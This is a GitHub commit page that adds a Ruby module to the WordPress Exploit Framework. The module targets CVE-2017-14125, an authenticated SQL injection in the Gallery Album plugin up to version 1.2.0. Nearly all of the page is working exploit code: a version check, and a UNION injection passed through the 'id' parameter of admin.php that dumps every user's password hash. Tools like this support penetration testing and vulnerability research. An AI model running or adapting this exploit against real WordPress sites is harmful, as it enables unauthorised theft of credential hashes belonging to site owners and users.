Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit c392722

Browse files
committed
Add Gallery Album <= 1.2.0 hash dump
1 parent e20c80e commit c392722

File tree

1 file changed

+61
-0
lines changed

1 file changed

+61
-0
lines changed
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Auxiliary::GalleryAlbumHashDump < Wpxf::Module
4+
include Wpxf::WordPress::HashDump
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Responsive Image Gallery, Gallery Album <= 1.2.0 Authenticated Hash Dump',
11+
desc: %(
12+
Responsive Image Gallery, Gallery Album <= 1.2.0 contains an SQL injection vulnerability
13+
which can be leveraged by all registered users with the permission
14+
to manage the plugin settings. This module utilises this vulnerability
15+
to dump the hashed passwords of all users in the database.
16+
),
17+
author: [
18+
'Manuel Garcia Cardenas', # Disclosure
19+
'Rob Carr <rob[at]rastating.com>' # WPXF module
20+
],
21+
references: [
22+
['WPVDB', '8907'],
23+
['CVE', '2017-14125'],
24+
['URL', 'http://seclists.org/fulldisclosure/2017/Sep/55']
25+
],
26+
date: 'Sep 22 2017'
27+
)
28+
end
29+
30+
def check
31+
check_plugin_version_from_readme('gallery-album', '1.2.1')
32+
end
33+
34+
def requires_authentication
35+
true
36+
end
37+
38+
def reveals_one_row_per_request
39+
true
40+
end
41+
42+
def hashdump_request_params
43+
{
44+
'page' => 'wpdevart_gallery_themes',
45+
'task' => 'add_edit_theme',
46+
'id' => "-#{Utility::Text.rand_numeric(3)} UNION #{hashdump_sql_statement}--"
47+
}
48+
end
49+
50+
def hashdump_visible_field_index
51+
1
52+
end
53+
54+
def hashdump_number_of_cols
55+
4
56+
end
57+
58+
def vulnerable_url
59+
normalize_uri(wordpress_url_admin, 'admin.php')
60+
end
61+
end

0 commit comments

Comments
 (0)